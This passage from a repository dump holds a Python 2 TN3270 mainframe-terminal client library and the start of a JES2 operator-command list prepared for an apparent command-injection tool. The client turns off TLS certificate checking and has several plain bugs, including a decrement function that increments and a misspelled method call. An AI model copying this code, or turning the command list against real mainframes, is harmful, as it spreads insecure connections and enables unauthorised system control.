0xE3, 0xE4, 0xE5, 0xE6, 0xE7, 205 | 0xE8, 0xE9, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 206 | 0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 207 | 0xF8, 0xF9, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F] 208 | 209 | #TN3270 Datatream Processing flags 210 | NO_OUTPUT = 0 211 | OUTPUT = 1 212 | BAD_COMMAND = 2 213 | BAD_ADDRESS = 3 214 | NO_AID = 0x60 215 | 216 | #Header response flags. 217 | NO_RESPONSE = 0x00 218 | ERROR_RESPONSE = 0x01 219 | ALWAYS_RESPONSE = 0x02 220 | POSITIVE_RESPONSE = 0x00 221 | NEGATIVE_RESPONSE = 0x01 222 | 223 | #Header data type names. 224 | DT_3270_DATA = 0x00 225 | DT_SCS_DATA = 0x01 226 | DT_RESPONSE = 0x02 227 | DT_BIND_IMAGE = 0x03 228 | DT_UNBIND = 0x04 229 | DT_NVT_DATA = 0x05 230 | DT_REQUEST = 0x06 231 | DT_SSCP_LU_DATA = 0x07 232 | DT_PRINT_EOJ = 0x08 233 | 234 | #Header response data. 235 | POS_DEVICE_END = 0x00 236 | NEG_COMMAND_REJECT = 0x00 237 | NEG_INTERVENTION_REQUIRED = 0x01 238 | NEG_OPERATION_CHECK = 0x02 239 | NEG_COMPONENT_DISCONNECTED = 0x03 240 | 241 | #TN3270E Header variables 242 | tn3270_header = { 243 | 'data_type' : '', 244 | 'request_flag' : '', 245 | 'response_flag' : '', 246 | 'seq_number' : '' 247 | } 248 | 249 | 250 | #Global Vars 251 | NEGOTIATING = 1 252 | CONNECTED = 2 253 | TN3270_DATA = 3 254 | TN3270E_DATA = 4 255 | #We only support 3270 model 2 wich was 24x80. 256 | DEVICE_TYPE = "IBM-3278-2" 257 | COLS = 80 # hardcoded width. 258 | ROWS = 24 # hardcoded rows. 259 | WORD_STATE = ["Negotiating", "Connected", "TN3270 mode", "TN3270E mode"] 260 | TELNET_PORT = 23 261 | 262 | 263 | class TN3270: 264 | def __init__(self, host=None, port=0, 265 | timeout=10): 266 | 267 | self.debuglevel = DEBUGLEVEL 268 | self.host = host 269 | self.port = port 270 | self.timeout = timeout 271 | self.eof = 0 272 | self.sock = None 273 | self._has_poll = hasattr(select, 'poll') 274 | 275 | self.telnet_state = 0 # same as TNS_DATA to begin with 276 | self.server_options = {} 277 | self.client_options = {} 278 | self.sb_options = '' 279 | self.connected_lu = '' 280 | self.connected_dtype= '' 281 | self.negotiated = False 282 | self.first_screen = False 283 | self.aid = NO_AID #initial Attention Identifier is No AID 284 | self.telnet_data = '' 285 | self.tn_buffer = '' 286 | self.raw_tn = [] #Stores raw TN3270 'frames' for use 287 | self.state = 0 288 | self.buffer_address = 0 289 | self.formatted = False, 290 | 291 | #TN3270 Buffer Address Location 292 | self.buffer_addr = 0 293 | #TN3270 Cursor Tracking Location 294 | self.cursor_addr = 0 295 | self.screen = [] 296 | self.printableScreen = [] 297 | self.header = [] 298 | 299 | #TN3270 Buffers 300 | self.buffer = [] 301 | self.fa_buffer = [] 302 | self.output_buffer = [] 303 | self.overwrite_buf = [] 304 | self.header_sequence = 0 305 | 306 | 307 | if host is not None: 308 | self.initiate(host, port, timeout) 309 | 310 | def connect(self, host, port=0, timeout=30): 311 | """Connects to a TN3270 Server. aka a Mainframe!""" 312 | self.ssl = False 313 | if not port: 314 | port = TELNET_PORT 315 | self.host = host 316 | self.port = port 317 | self.timeout = timeout 318 | try: 319 | non_ssl = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 320 | ssl_sock = ssl.wrap_socket(sock=non_ssl,cert_reqs=ssl.CERT_NONE) 321 | ssl_sock.settimeout(self.timeout) 322 | ssl_sock.connect((host,port)) 323 | self.sock = ssl_sock 324 | self.ssl = True 325 | except ssl.SSLError, e: 326 | non_ssl.close() 327 | try: 328 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 329 | sock.settimeout(timeout) 330 | sock.connect((host,port)) 331 | self.sock = sock 332 | except Exception, e: 333 | self.msg('Non-SSL Error: %r', e) 334 | return False 335 | except Exception, e: 336 | self.msg('SSL Error: %r', e) 337 | return False 338 | return True 339 | 340 | def __del__(self): 341 | """Destructor ## close the connection.""" 342 | self.disconnect() 343 | 344 | def msg(self, msg, *args): 345 | """Print a debug message, when the debug level is > 0. 346 | 347 | If extra arguments are present, they are substituted in the 348 | message using the standard string formatting operator. 349 | 350 | """ 351 | if self.debuglevel > 0: 352 | print 'TN3270(%s,%s):' % (self.host, self.port), 353 | if args: 354 | print msg % args 355 | else: 356 | print msg 357 | 358 | def set_debuglevel(self, debuglevel): 359 | """Set the debug level. 360 | 361 | The higher it is, the more debug output you get (on sys.stdout). 362 | 363 | """ 364 | self.debuglevel = debuglevel 365 | 366 | def disconnect(self): 367 | """Close the connection.""" 368 | sock = self.sock 369 | self.sock = 0 370 | if sock: 371 | sock.close() 372 | 373 | def get_socket(self): 374 | """Return the socket object used internally.""" 375 | return self.sock 376 | 377 | def send_data(self, data): 378 | """Sends raw data to the TN3270 server """ 379 | self.msg("send %r", data) 380 | self.sock.sendall(data) 381 | 382 | def recv_data(self): 383 | """ Receives 256 bytes of data; blocking""" 384 | self.msg("Getting Data") 385 | buf = self.sock.recv(256) 386 | self.msg("Got Data: %r", buf) 387 | return buf 388 | 389 | def DECODE_BADDR(self, byte1, byte2): 390 | """ Decodes Buffer Addresses. 391 | Buffer addresses can come in 14 or 12 (this terminal doesn't support 16 bit) 392 | this function takes two bytes (buffer addresses are two bytes long) and returns 393 | the decoded buffer address.""" 394 | if (byte1 & 0xC0) == 0: 395 | return (((byte1 & 0x3F) << 8) | byte2) + 1 396 | else: 397 | return ((byte1 & 0x3F) << 6) | (byte2 & 0x3F) 398 | 399 | def ENCODE_BADDR(self, address): 400 | """ Encodes Buffer Addresses. 401 | We need the +1 because LUA tables start at 1""" 402 | b1 = struct.pack(">B",code_table[((address >> 6) & 0x3F)+1]) 403 | b2 = struct.pack(">B",code_table[(address & 0x3F)+1]) 404 | return b1 + b2 405 | 406 | def BA_TO_ROW( self, addr ): 407 | """ Returns the current row of a buffer address """ 408 | return math.ceil((addr / COLS) + 0.5) 409 | 410 | def BA_TO_COL( self, addr ): 411 | """ Returns the current column of a buffer address """ 412 | return addr % COLS 413 | 414 | def INC_BUF_ADDR( self, addr ): 415 | """ Increments the buffer address by one """ 416 | return ((addr + 1) % (COLS * ROWS)) 417 | 418 | def DEC_BUF_ADDR( self, addr ): 419 | """ Decreases the buffer address by one """ 420 | return ((addr + 1) % (COLS * ROWS)) 421 | 422 | def check_tn3270( self, host, port=0, timeout=3 ): 423 | """ Checks if a host & port supports TN3270 """ 424 | if not port: 425 | port = TELNET_PORT 426 | try: 427 | non_ssl = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 428 | ssl_sock = ssl.wrap_socket(sock=non_ssl,cert_reqs=ssl.CERT_NONE) 429 | ssl_sock.settimeout(timeout) 430 | ssl_sock.connect((host,port)) 431 | sock = ssl_sock 432 | except ssl.SSLError, e: 433 | non_ssl.close() 434 | try: 435 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 436 | sock.settimeout(timeout) 437 | sock.connect((host,port)) 438 | except Exception, e: 439 | self.msg('Error: %r', e) 440 | return False 441 | except Exception, e: 442 | self.msg('Error: %r', e) 443 | return False 444 | 445 | 446 | data = sock.recv(256) 447 | if data == IAC + DO + options['TN3270']: 448 | sock.close() 449 | return True 450 | elif data == IAC + DO + options['TTYPE']: 451 | sock.sendall(IAC + WILL + options['TTYPE']) 452 | data = sock.recv(256) 453 | if data != IAC + SB + options['TTYPE'] + SEND + IAC + SE or data == '': 454 | return False 455 | sock.sendall(IAC + SB + options['TTYPE'] + IS + DEVICE_TYPE + IAC + SE) 456 | data = sock.recv(256) 457 | if data[0:2] == IAC + DO: 458 | sock.close() 459 | return True 460 | return False 461 | 462 | def initiate( self, host, port=0, timeout=5 ): 463 | """ Initiates a TN3270 connection until it gets the first 'screen' """ 464 | #if not self.check_tn3270(host, port): 465 | # return False 466 | if not self.connect(host,port, timeout): 467 | return False 468 | 469 | self.client_options = {} 470 | self.server_options = {} 471 | self.state = NEGOTIATING 472 | self.first_screen = False 473 | 474 | while not self.first_screen: 475 | self.telnet_data = self.recv_data() 476 | self.msg("Got telnet_data: %r", self.telnet_data) 477 | self.process_packets() 478 | return True 479 | 480 | def get_data( self ): 481 | """ Gets the tn3270 buffer currently on the stack """ 482 | status = True 483 | self.first_screen = False 484 | while not self.first_screen and status: 485 | self.telnet_data = self.recv_data() 486 | self.process_packets() 487 | #end 488 | 489 | def get_all_data( self ): 490 | """ Mainframes will often send a 'confirmed' screen before it sends 491 | the screen we care about, this function clumsily gets all screens 492 | sent so far """ 493 | self.first_screen = False 494 | self.sock.settimeout(2) 495 | while True: 496 | try: 497 | self.telnet_data = self.recv_data() 498 | self.process_packets() 499 | except socket.timeout, e: 500 | err = e.args[0] 501 | if err == 'timed out': 502 | #sleep(1) 503 | self.msg("recv timed out! We're done here") 504 | break 505 | except socket.error, e: 506 | # Something else happened, handle error, exit, etc. 507 | self.msg("Error Received: %r", e) 508 | self.sock.settimeout(None) 509 | 510 | def process_packets( self ): 511 | """ Processes Telnet data """ 512 | for i in self.telnet_data: 513 | #self.msg("Processing: %r", i) 514 | self.ts_processor(i) 515 | self.telnet_data = '' #once all the data has been processed we clear out the buffer 516 | 517 | def ts_processor( self, data ): 518 | """ Consumes/Interprets Telnet/TN3270 data """ 519 | TNS_DATA = 0 520 | TNS_IAC = 1 521 | TNS_WILL = 2 522 | TNS_WONT = 3 523 | TNS_DO = 4 524 | TNS_DONT = 5 525 | TNS_SB = 6 526 | TNS_SB_IAC = 7 527 | DO_reply = IAC + DO 528 | DONT_reply = IAC + DONT 529 | WILL_reply = IAC + WILL 530 | WONT_reply = IAC + WONT 531 | 532 | #self.msg('State is: %r', self.telnet_state) 533 | if self.telnet_state == TNS_DATA: 534 | if data == IAC: 535 | ## got an IAC 536 | self.telnet_state = TNS_IAC 537 | return True 538 | self.store3270(data) 539 | elif self.telnet_state == TNS_IAC: 540 | if data == IAC: 541 | ## insert this 0xFF in to the buffer 542 | self.store3270(data) 543 | self.telnet_state = TNS_DATA 544 | elif data == TN_EOR: 545 | ## we're at the end of the TN3270 data 546 | ## let's process it and see what we've got 547 | ## but only if we're in 3270 mode 548 | if self.state == TN3270_DATA or self.state == TN3270E_DATA: 549 | self.process_data() 550 | self.telnet_state = TNS_DATA 551 | elif data == WILL: self.telnet_state = TNS_WILL 552 | elif data == WONT: self.telnet_state = TNS_WONT 553 | elif data == DO : self.telnet_state = TNS_DO 554 | elif data == DONT: self.telnet_state = TNS_DONT 555 | elif data == SB : self.telnet_state = TNS_SB 556 | elif self.telnet_state == TNS_WILL: 557 | if (data == options['BINARY'] or 558 | data == options['EOR'] or 559 | data == options['TTYPE'] ): # or data == options['TN3270'] then 560 | if not self.server_options.get(data, False): ## if we haven't already replied to this, let's reply 561 | self.server_options[data] = True 562 | self.send_data(DO_reply + data) 563 | self.msg("Sent Will Reply %r", data) 564 | self.in3270() 565 | else: 566 | self.send_data(DONT_reply+data) 567 | self.msg("Sent DONT Reply %r", data) 568 | self.telnet_state = TNS_DATA 569 | elif self.telnet_state == TNS_WONT: 570 | if self.server_options.get(data, False): 571 | self.server_options[data] = False 572 | self.send_data(DONT_reply + data) 573 | self.msg("Sent WONT Reply %r", data) 574 | self.in3270() 575 | self.telnet_state = TNS_DATA 576 | elif self.telnet_state == TNS_DO: 577 | if ( data == options['BINARY'] or 578 | data == options['EOR'] or 579 | data == options['TTYPE'] ): # or data == options['TN3270']: 580 | ## data == options['STARTTLS ## ssl encryption to be added later 581 | if not self.client_options.get(data, False): 582 | self.client_options[data] = True 583 | self.send_data(WILL_reply + data) 584 | self.msg("Sent DO Reply %r", data) 585 | self.in3270() 586 | else: 587 | self.send_data(WONT_reply+data) 588 | self.msg("Got unsupported Do. Sent Won't Reply: %r ", data) 589 | self.telnet_state = TNS_DATA 590 | elif self.telnet_state == TNS_DONT: 591 | if self.client_options.get(data, False): 592 | self.client_options[data] = False 593 | self.send_data(WONT_reply + data) 594 | self.msg("Sent DONT Reply %r", data) 595 | self.in3270() 596 | self.telnet_state = TNS_DATA 597 | elif self.telnet_state == TNS_SB: 598 | if data == IAC: 599 | self.telnet_state = TNS_SB_IAC 600 | else: 601 | self.sb_options = self.sb_options + data 602 | elif self.telnet_state == TNS_SB_IAC: 603 | self.msg("Got SB, processing") 604 | self.sb_options = self.sb_options + data 605 | if data == SE: 606 | self.telnet_state = TNS_DATA 607 | if (self.sb_options[0] == options['TTYPE'] and 608 | self.sb_options[1] == SEND ): 609 | self.send_data(IAC + SB + options['TTYPE'] + IS + DEVICE_TYPE + IAC + SE) 610 | elif self.client_optionsget(options['TN3270'], False) and self.sb_options[0] == options['TN3270']: 611 | if not self.negotiate_tn3270(): 612 | return false 613 | 614 | self.msg("Done Negotiating Options") 615 | else: 616 | self.telnet_state = TNS_DATA 617 | self.sb_options = '' 618 | return True 619 | 620 | ## Stores a character on a buffer to be processed 621 | def store3270(self, char ): 622 | """ Stores a character on the tn3270 buffer """ 623 | self.tn_buffer += char 624 | 625 | ## Also known as process_eor in x3270 626 | def process_data( self ): 627 | """ Processes TN3270 data """ 628 | reply = 0 629 | self.msg("Processing TN3270 Data") 630 | ## We currently don't support TN3270E but this is here for future expansion 631 | # if self.state == self.TN3270E_DATA: 632 | # self.tn3270_header.data_type = self.tn_buffer:sub(1,1) 633 | # self.tn3270_header.request_flag = self.tn_buffer:sub(2,2) 634 | # self.tn3270_header.response_flag = self.tn_buffer:sub(3,3) 635 | # self.tn3270_header.seq_number = self.tn_buffer:sub(4,5) 636 | # if self.tn3270_header.data_type == "\000": 637 | # reply = self:process_3270(self.tn_buffer:sub(6)) 638 | # if reply < 0 and self.tn3270_header.request_flag ~= self.TN3270E_RSF_NO_RESPONSE: 639 | # self:tn3270e_nak(reply) 640 | # elseif reply == self.NO_OUTPUT and 641 | # self.tn3270_header.request_flag == self.ALWAYS_RESPONSE then 642 | # self:tn3270e_ack() 643 | # end 644 | #else 645 | self.process_3270(self.tn_buffer) 646 | self.raw_tn.append(self.tn_buffer) 647 | #end 648 | #nsedebug.print_hex(self.tn_buffer) 649 | 650 | self.tn_buffer = '' 651 | return True 652 | 653 | def in3270(self): 654 | if self.client_options.get(options['TN3270'], False): 655 | if self.negotiated: 656 | self.state = self.TN3270E_DATA 657 | elif ( self.server_options.get(options['EOR'], False) and 658 | self.server_options.get(options['BINARY'], False) and 659 | self.client_options.get(options['BINARY'], False) and 660 | self.client_options.get(options['TTYPE'], False) ): 661 | self.state = TN3270_DATA 662 | if self.state == TN3270_DATA or self.state == TN3270E_DATA: 663 | ## since we're in TN3270 mode, let's create an empty buffer 664 | self.msg("Creating Empty IBM-3278-2 Buffer") 665 | self.buffer = list("\0" * 1920) 666 | self.fa_buffer = list("\0" * 1920) 667 | self.overwrite_buf = list("\0" * 1920) 668 | self.msg("Created buffers of length: %r", 1920) 669 | self.msg("Current State: %r", WORD_STATE[self.state]) 670 | 671 | def clear_screen( self ): 672 | self.buffer_address = 1 673 | self.buffer = list("\0" * 1920) 674 | self.fa_buffer = list("\0" * 1920) 675 | self.overwrite_buf = list("\0" * 1920) 676 | 677 | def clear_unprotected( self ): 678 | ## We'll ignore this for now since we ignore the protected field anyway 679 | return 680 | 681 | def process_3270( self, data ): 682 | """ Processes TN3270 Data """ 683 | ## the first byte will be the command we have to follow 684 | com = data[0] 685 | self.msg("Value Received: %r", com) 686 | if com == EAU: 687 | self.msg("TN3270 Command: Erase All Unprotected") 688 | self.clear_unprotected() 689 | return NO_OUTPUT 690 | elif ( com == EWA or com == SNA_EWA or 691 | com == EW or com == SNA_EW ): 692 | self.msg("TN3270 Command: Erase Write (Alternate)") 693 | self.clear_screen() 694 | self.process_write(data) ##so far should only return No Output 695 | return NO_OUTPUT 696 | elif com == W or com == SNA_W: 697 | self.msg("TN3270 Command: Write") 698 | self.process_write(data) 699 | elif com == RB or com == SNA_RB: 700 | self.msg("TN3270 Command: Read Buffer") 701 | self.process_read() 702 | return OUTPUT 703 | elif ( com == RM or com == SNA_RM or 704 | com == RMA or com == SNA_RMA ): 705 | self.msg("TN3270 Command: Read Modified (All)") 706 | self.read_modified(self.aid) 707 | return OUTPUT 708 | elif com == WSF or com == SNA_WSF: 709 | self.msg("TN3270 Command: Write Structured Field") 710 | return self.w_structured_field(data) 711 | elif com == NOP or com == SNA_NOP: 712 | self.msg("TN3270 Command: No OP (NOP)") 713 | return NO_OUTPUT 714 | else: 715 | self.msg("Unknown 3270 Data Stream command: %r", com) 716 | return BAD_COMMAND 717 | 718 | ### WCC / tn3270 data stream processor 719 | def process_write(self, data ): 720 | """ Processes TN3270 Write commands and 721 | writes them to the screen buffer """ 722 | self.msg("Processing TN3270 Write Command") 723 | prev = '' 724 | cp = '' 725 | num_attr = 0 726 | last_cmd = False 727 | i = 2 # skip the first two chars 728 | while i <= len(data) - 1: 729 | self.msg("Current Position: " + str(i) + " of " + str(len(data))) 730 | cp = data[i] 731 | self.msg("Current Item: %r",cp) 732 | # awesome, no switch statements here either 733 | if cp == SF: 734 | self.msg("Start Field") 735 | prev = 'ORDER' 736 | last_cmd = True 737 | i = i + 1 # skip SF 738 | self.msg("Writting Zero to buffer at address: %r",self.buffer_address) 739 | self.msg("Attribute Type: %r", data[i]) 740 | self.write_field_attribute(data[i]) 741 | self.buffer_address = self.INC_BUF_ADDR(self.buffer_address) 742 | #set the current position one ahead (after SF) 743 | i = i + 1 744 | self.write_char("\00") 745 | 746 | elif cp == SFE: 747 | self.msg("Start Field Extended") 748 | i = i + 1 # skip SFE 749 | num_attr = struct.unpack(">B",data[i])[0] 750 | self.msg("Number of Attributes: %r", num_attr) 751 | for j in range(num_attr): 752 | i = i + 1 753 | if struct.unpack(">B", data[i])[0] == 0xc0: 754 | self.msg("Writting Zero to buffer at address: %r", self.buffer_address) 755 | self.msg("Attribute Type: %r", data[i]) 756 | self.write_char("\0") 757 | self.write_field_attribute(data[i]) 758 | i = i + 1 759 | i = i + 1 760 | self.buffer_address = self.INC_BUF_ADDR(self.buffer_address) 761 | elif cp == SBA: 762 | self.msg("Set Buffer Address (SBA) 0x11") 763 | self.buffer_address = self.DECODE_BADDR(struct.unpack(">B", data[i + 1])[0], 764 | struct.unpack(">B", data[i + 2])[0]) 765 | self.msg("Buffer Address: %r" , self.buffer_address) 766 | self.msg("Row: %r" , self.BA_TO_ROW(self.buffer_address)) 767 | self.msg("Col: %r" , self.BA_TO_COL(self.buffer_address)) 768 | last_cmd = True 769 | prev = 'SBA' 770 | # the current position is SBA, the next two bytes are the lengths 771 | i = i + 3 772 | self.msg("Next Command: %r",data[i]) 773 | elif cp == IC: # Insert Cursor 774 | self.msg("Insert Cursor (IC) 0x13") 775 | self.msg("Current Cursor Address: %r" , self.cursor_addr) 776 | self.msg("Buffer Address: %r", self.buffer_address) 777 | self.msg("Row: %r" , self.BA_TO_ROW(self.buffer_address)) 778 | self.msg("Col: %r" , self.BA_TO_COL(self.buffer_address)) 779 | prev = 'ORDER' 780 | self.cursor_addr = self.buffer_address 781 | last_cmd = True 782 | i = i + 1 783 | elif cp == RA: 784 | # Repeat address repeats whatever the next char is after the two byte buffer address 785 | # There's all kinds of weird GE stuff we could do, but not now. Maybe in future vers 786 | self.msg("Repeat to Address (RA) 0x3C") 787 | ra_baddr = self.DECODE_BADDR(struct.unpack(">B", data[i + 1])[0], 788 | struct.unpack(">B", data[i + 2])[0]) 789 | self.msg("Repeat Character: %r" , data[i + 1]) 790 | self.msg("Repeat to this Address: %r" , ra_baddr) 791 | self.msg("Currrent Address: %r", self.buffer_address) 792 | prev = 'ORDER' 793 | #char_code = data:sub(i+3,i+3) 794 | i = i + 3 795 | char_to_repeat = data[i] 796 | self.msg("Repeat Character: %r" ,char_to_repeat) 797 | while (self.buffer_address != ra_baddr): 798 | self.write_char(char_to_repeat) 799 | self.buffer_address = self.INC_BUF_ADDR(self.buffer_address) 800 | elif cp == EUA: 801 | self.msg("Erase Unprotected All (EAU) 0x12") 802 | eua_baddr = self.DECODE_BADDR(struct.unpack(">B", data[i + 1])[0], 803 | struct.unpack(">B", data[i + 2])[0]) 804 | i = i + 3 805 | self.msg("EAU to this Address: %r" , eua_baddr) 806 | self.msg("Currrent Address: %r", self.buffer_address) 807 | while (self.buffer_address != eua_baddr): 808 | # do nothing for now. this feature isn't supported/required at the moment 809 | # we're technically supposed to delete the buffer 810 | # but we might want to see whats on there! 811 | self.buffer_address = self.INC_BUF_ADDR(self.buffer_address) 812 | #stdnse.debug(3,"Currrent Address: " .. self.buffer_address) 813 | #stdnse.debug(3,"EAU to this Address: " .. eua_baddr) 814 | elif cp == GE: 815 | self.msg("Graphical Escape (GE) 0x08") 816 | prev = 'ORDER' 817 | i = i + 1 # move to next byte 818 | ge_char = data[i] 819 | self.write_char(ge_char) 820 | self.buffer_address = self.INC_BUF_ADDR(self.buffer_address) 821 | elif cp == MF: 822 | # we don't actually have 'fields' at this point 823 | # so there's nothing to be modified 824 | self.msg("Modify Field (MF) 0x2C") 825 | prev = 'ORDER' 826 | i = i + 1 827 | num_attr = int(data[i]) 828 | for j in range(num_attr): 829 | #placeholder in case we need to do something here 830 | i = i + 1 831 | self.buffer_address = self.INC_BUF_ADDR(self.buffer_address) 832 | elif cp == SA: 833 | self.msg("Set Attribute (SA) 0x28") 834 | # SHHH don't tell anyone that we just skip these 835 | # But here is where Set Attribue is done. Things like Hidden and Protected 836 | i = i + 1 837 | 838 | elif ( cp == NUL or 839 | cp == SUB or 840 | cp == DUP or 841 | cp == FM or 842 | cp == FF or 843 | cp == CR or 844 | cp == NL or 845 | cp == EM or 846 | cp == EO ): 847 | self.msg("Format Control Order received") 848 | prev = 'ORDER' 849 | self.write_char(chr(064)) 850 | self.buffer_address = self.INC_BUF_ADDR(self.buffer_address) 851 | i = i + 1 852 | else: # whoa we made it. 853 | ascii_char = cp.decode('EBCDIC-CP-BE').encode('utf-8') 854 | self.msg("Inserting "+ ascii_char + " (%r) at the following location:", data[i]) 855 | self.msg("Row: %r" , self.BA_TO_ROW(self.buffer_address)) 856 | self.msg("Col: %r" , self.BA_TO_COL(self.buffer_address)) 857 | self.msg("Buffer Address: %r" , self.buffer_address) 858 | self.write_char(data[i]) 859 | self.buffer_address = self.INC_BUF_ADDR(self.buffer_address) 860 | self.first_screen = True 861 | i = i + 1 862 | # end of massive if/else 863 | # end of while loop 864 | self.formatted = True 865 | 866 | 867 | def write_char( self, char ): 868 | """ Writes a character to the screen buffer. 869 | If a character already exists at that location, 870 | write the char in the screen buffer to a backup buffer """ 871 | if self.buffer[self.buffer_address-1] == "\0": 872 | self.buffer[self.buffer_address-1] = char 873 | else: 874 | self.overwrite_buf[self.buffer_address-1] = self.buffer[self.buffer_address] 875 | self.buffer[self.buffer_address-1] = char 876 | 877 | def write_field_attribute( self, attr ): 878 | """ Writes Field attributes to the field attribute buffer """ 879 | self.fa_buffer[self.buffer_address-1] = attr 880 | 881 | def print_screen( self ): 882 | """ Prints the current TN3270 screen buffer """ 883 | self.msg("Printing the current TN3270 buffer:") 884 | buff = '' 885 | i = 1 886 | for line in self.buffer: 887 | if line == "\00": 888 | buff += " " 889 | else: 890 | buff += line.decode('EBCDIC-CP-BE').encode('utf-8') 891 | if (i + 1) % 80 == 0: 892 | print buff 893 | buff = '' 894 | i = i + 1 895 | 896 | def get_screen ( self ): 897 | """ Returns the current TN3270 screen buffer formatted for printing """ 898 | self.msg("Generating the current TN3270 buffer in ASCII") 899 | buff = '' 900 | i = 1 901 | for line in self.buffer: 902 | if line == "\00": 903 | buff += " " 904 | else: 905 | buff += line.decode('EBCDIC-CP-BE').encode('utf-8') 906 | if (i + 1) % 80 == 0: 907 | buff += '\n' 908 | 909 | i = i + 1 910 | return buff 911 | 912 | def process_read( self ): 913 | """ Processes READ commands from server """ 914 | output_addr = 0 915 | self.output_buffer = [] 916 | self.msg("Generating Read Buffer") 917 | self.output_buffer.insert(output_addr, struct.pack(">B",self.aid)) 918 | output_addr = output_addr + 1 919 | self.msg("Output Address: %r", output_addr) 920 | self.output_buffer.insert(output_addr, self.ENCODE_BADDR(self.cursor_addr)) 921 | self.send_tn3270(self.output_buffer) 922 | #need to add while loop for MF, <3 <3 someday 923 | 924 | def send_tn3270( self, data ): 925 | """Sends tn3270 data to the server. Adding 3270E options and doubling IACs""" 926 | packet = '' 927 | if self.state == TN3270E_DATA: 928 | packet = "\x00\x00\x00\x00\x00" 929 | # we need to create the tn3270E (the E is important) header 930 | # which, in basic 3270E is 5 bytes of 0x00 931 | # Since we don't support 3270E at the moment this is just a skeleton 932 | #packet = struct.pack(">B",self.DT_3270_DATA) + #type 933 | #struct.pack(">B",0) + # request 934 | #struct.pack(">B",0) + # response 935 | #struct.pack(">S",0) 936 | #self.tn3270_header.seq_number 937 | # create send buffer and double up IACs 938 | for char in data: 939 | self.msg("Adding %r to the read buffer", char) 940 | packet += char 941 | if IAC in packet: 942 | packet = packet.replace(IAC, IAC+IAC) 943 | packet += IAC + TN_EOR 944 | self.send_data(packet) # send the output buffer 945 | 946 | def w_structured_field ( self, wsf_data ): 947 | # this is the ugliest hack ever 948 | # but it works and it doesn't matter what we support anyway 949 | self.msg("Processing TN3270 Write Structured Field Command") 950 | 951 | query_options = binascii.unhexlify( 952 | "8800168186000800f4f100f200f300f400f500f600f700000d8187040" + 953 | "0f0f1f1f2f2f4f4002281858200071000000000070000000065002500" + 954 | "000002b900250100f103c30136002e818103000050001800000100480" + 955 | "001004807100000000000001302000100500018000001004800010048" + 956 | "0710001c81a600000b010000500018005000180b02000007001000070" + 957 | "010000781880001020016818080818485868788a1a6a89699b0b1b2b3" + 958 | "b4b600088184000a0004000681990000ffef") 959 | self.msg("Current WSF : %r", wsf_data ) 960 | #if wsf_data[4] == "\01": 961 | self.send_data(query_options) 962 | 963 | 964 | def send_cursor( self, data ): 965 | output_addr = 0 966 | self.output_buffer = [] 967 | self.msg("Generating Output Buffer for send_cursor") 968 | self.output_buffer.insert(output_addr, ENTER) 969 | output_addr += 1 970 | self.msg("Output Address: %r", output_addr) 971 | self.msg("Cursor Location ("+ str(self.cursor_addr) +"): Row: %r, Column: %r ", 972 | self.BA_TO_ROW(self.cursor_addr), 973 | self.BA_TO_COL(self.cursor_addr) ) 974 | self.output_buffer.insert(output_addr, self.ENCODE_BADDR(self.cursor_addr)) 975 | output_addr += 1 976 | self.output_buffer.insert(output_addr, SBA) 977 | output_addr += 1 978 | self.output_buffer.insert(output_addr, self.ENCODE_BADDR(self.cursor_addr)) 979 | output_addr += 1 980 | for lines in data: 981 | self.msg('Adding %r to the output buffer', lines.decode('utf-8').encode('EBCDIC-CP-BE')) 982 | self.output_buffer.insert(output_addr, lines.decode('utf-8').encode('EBCDIC-CP-BE')) 983 | output_addr += 1 984 | #--self.output_buffer[output_addr] = self:ENCODE_BADDR(self.cursor_addr + i) 985 | #-- for i = 1,#self.fa_buffer do 986 | #-- if self.fa_buffer[i] ~= "\0" then 987 | #-- break 988 | #-- end 989 | #-- output_addr = self:INC_BUF_ADDR(output_addr) 990 | #-- end 991 | #-- stdnse.debug(3,"At Field Attribute: Row: %s, Column %s", 992 | #-- self:BA_TO_ROW(output_addr), 993 | #-- self:BA_TO_COL(output_addr) ) 994 | #--stdnse.debug(1, "sending the following: %s", stdnse.tohex(self.output_buffer)) 995 | return self.send_tn3270(self.output_buffer) 996 | 997 | 998 | def hexdump(self, src, length=8): 999 | """ Used to debug connection issues """ 1000 | result = [] 1001 | digits = 4 if isinstance(src, unicode) else 2 1002 | for i in xrange(0, len(src), length): 1003 | s = src[i:i+length] 1004 | hexa = b' '.join(["%0*X" % (digits, ord(x)) for x in s]) 1005 | text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s]) 1006 | result.append( b"%04X %-*s %s" % (i, length*(digits + 1), hexa, text) ) 1007 | return b'\n'.join(result) 1008 | 1009 | def raw_screen_buffer(self): 1010 | """ returns a list containing all the tn3270 data recieved """ 1011 | return self.raw_tn 1012 | 1013 | def is_ssl(self): 1014 | """ returns True if the connection is SSL. False if not. """ 1015 | return self.ssl 1016 | 1017 | 1018 | 1019 | 1020 | 1021 | 1022 | 1023 | -------------------------------------------------------------------------------- /Network Tools/iNJEctor/JES2_Commands.txt: -------------------------------------------------------------------------------- 1 | Listing of JES2 Commands 2 | list for iNJEctor.py 3 | 4 | From: http://www-01.ibm.com/support/knowledgecenter/SSLTBW_2.1.0/com.ibm.zos.v2r1.hasa200/has2cmdr.htm 5 | 6 | Note: These commands are for z/OS 2.1 if you're running an older verion not all these commands will work. 7 | 8 | $A A - Release all jobs 9 | $A Job - Release held jobs 10 | $ACTIVATE - Activate a particular level of JES2 function 11 | $ADD APPL - Define a VTAM application to JES2 12 | $ADD CONNECT - Dynamically add network connections 13 | $ADD DESTID - Define a symbolic destination 14 | $ADD FSS - Define a functional subsystem 15 | $ADD JOBCLASS(jobclass) - Define a new job class 16 | $ADD LINE(nnnn) - Add line 17 | $ADD LOADMOD - Load a new Installation Load Module 18 | $ADD LOGON(nn) - Add a logon 19 | $ADD NETSRV(nnn) - Add a network server 20 | $ADD PROCLIB(xxxxxxxx) - Define a new dynamic PROCLIB concatenation 21 | $ADD PRT(nnnnn) - Define a local printer 22 | $ADD REDIRECT - Set redirection for commands 23 | $ADD RMT(nnnnn) - Add an RJE workstation 24 | $ADD SOCKET(xxxxxxxx) - Add a socket 25 | $ADD SRVCLASS(name) - Add a new 